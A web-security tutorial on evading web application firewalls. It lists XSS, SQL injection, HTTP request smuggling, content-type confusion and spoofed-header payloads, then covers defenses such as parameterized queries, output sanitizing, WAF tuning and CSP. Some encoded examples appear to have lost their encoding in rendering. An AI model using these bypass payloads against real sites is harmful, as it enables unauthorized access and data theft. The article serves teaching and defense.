WAF Bypass Techniques: How Hackers Evade Web Application Firewalls
Why WAFs Get Bypassed
Web Application Firewalls (WAFs) work by matching requests against known attack patterns (signatures). But attackers have creative ways to deliver the same payload in a format the WAF doesn't recognize.
Rule of thumb: A WAF is a speed bump, not a wall. It buys time but doesn't replace input validation and parameterized queries.
Bypass Category 1: Encoding & Obfuscation
URL Encoding
# Original XSS payload (blocked)
<script>alert(1)</script>
# Single URL encoded
%3Cscript%3Ealert(1)%3C/script%3E
# Double URL encoded (if WAF decodes once, app decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E
# Mixed encoding
%3Cscript%3Eal\u0065rt(1)%3C/script%3E
HTML Entity Encoding
<!-- Original (blocked) -->
<img src=x onerror=alert(1)>
<!-- Decimal entities -->
<img src=x onerror=alert(1)>
<!-- Hex entities -->
<img src=x onerror=alert(1)>
<!-- Mixed with null bytes -->
<img src=x onerror="al\x65rt(1)">
Unicode Normalization
# WAF blocks "SELECT" but not Unicode equivalents
# Using fullwidth characters:
SELECT * FROM users
# Using combining characters
SELECT\u0000 * FROM users
Bypass Category 2: SQL Injection WAF Evasion
-- Original (blocked)
' OR 1=1--
-- Comment injection
'/**/OR/**/1=1--
-- Inline comments
'/*!50000OR*/1=1--
-- Case variation
' oR 1=1--
-- Alternative syntax
' || 1=1--
' -0 OR 1=1--
-- Whitespace alternatives
'%09OR%091=1-- /* Tab character */
'%0aOR%0a1=1-- /* Newline */
'%0dOR%0d1=1-- /* Carriage return */
-- String concatenation to avoid keyword detection
SE'+'LECT * FR'+'OM users
CONCAT('SEL','ECT') (MySQL)
-- Alternative to UNION SELECT
' AND 1=2 UNION ALL SELECT table_name,2 FROM information_schema.tables--
Bypass Category 3: XSS WAF Evasion
<!-- WAF blocks <script> -->
<!-- Event handlers instead -->
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<!-- JavaScript protocol -->
<a href="javascript:alert(1)">click</a>
<a href="javas	cript:alert(1)">click</a>
<!-- Template literals (modern JS) -->
<img src=x onerror=alert`1`>
<!-- Constructor -->
<img src=x onerror="[].constructor.constructor('alert(1)')()">
<!-- Without parentheses -->
<img src=x onerror="window.onerror=alert;throw 1">
<img src=x onerror="location='javascript:alert\x281\x29'">
Bypass Category 4: HTTP Request Smuggling
Exploits differences in how the WAF and backend server parse HTTP:
# CL-TE smuggling (WAF uses Content-Length, backend uses Transfer-Encoding)
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
The WAF sees one valid POST request. The backend sees two requests — including a smuggled GET to /admin.
Bypass Category 5: Content-Type Confusion
# WAF inspects application/x-www-form-urlencoded and application/json
# But might skip other content types
# multipart/form-data (often less inspected)
POST /search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="query"
' OR 1=1--
------Boundary--
# text/plain (CSRF-friendly, often not inspected)
POST /api HTTP/1.1
Content-Type: text/plain
{"query":"' OR 1=1--"}
Bypass Category 6: IP-Based Evasion
# If WAF blocks by IP after detection:
# Rotate through multiple IPs
# Use cloud function IPs (AWS Lambda, Cloudflare Workers)
# Use IPv6 addresses (many WAFs only check IPv4)
# Host header manipulation
GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
How to Defend Against WAF Bypasses
1. Defense in Depth — WAF + Application Security
// ✅ The WAF is a LAYER, not a replacement for secure code
// Always use parameterized queries (no bypass possible)
const users = await db.query('SELECT * FROM users WHERE id = $1', [userInput]);
// Always sanitize output (no XSS bypass possible)
import DOMPurify from 'isomorphic-dompurify';
const clean = DOMPurify.sanitize(userContent);
2. WAF Tuning
- Enable paranoia level 2+ in ModSecurity CRS
- Block requests with multiple encodings
- Normalize Unicode before inspection
- Inspect ALL content types (not just form/JSON)
- Log and review false positives to tune rules
- Enable request body inspection (not just URL/headers)
3. Content Security Policy
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self';
Even if an XSS payload bypasses the WAF, CSP prevents script execution.
Key Takeaways
- WAFs catch ~95% of automated attacks — they're valuable but not sufficient
- Targeted attackers will bypass any WAF given enough time
- Input validation + parameterized queries + output encoding = actual security
- WAF + CSP + input validation = defense in depth
Treat your WAF as a noisy alarm system, not a locked door. The real security lives in your code.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Threat Modeling for Developers: STRIDE, PASTA & DREAD with Practical Examples
Threat modeling is the most cost-effective security activity — finding design flaws before writing code. This guide covers STRIDE, PASTA, and DREAD methodologies with real-world examples for web, API, and cloud applications.
Building a Security Champions Program: Scaling Security Across Dev Teams
Security teams can't review every line of code. Security Champions embed security expertise in every development team. This guide covers program design, champion selection, training, metrics, and sustaining engagement.
The Ultimate Secure Code Review Checklist for 2025
A comprehensive, language-agnostic checklist for secure code reviews. Use this as your team's standard for catching vulnerabilities before they reach production.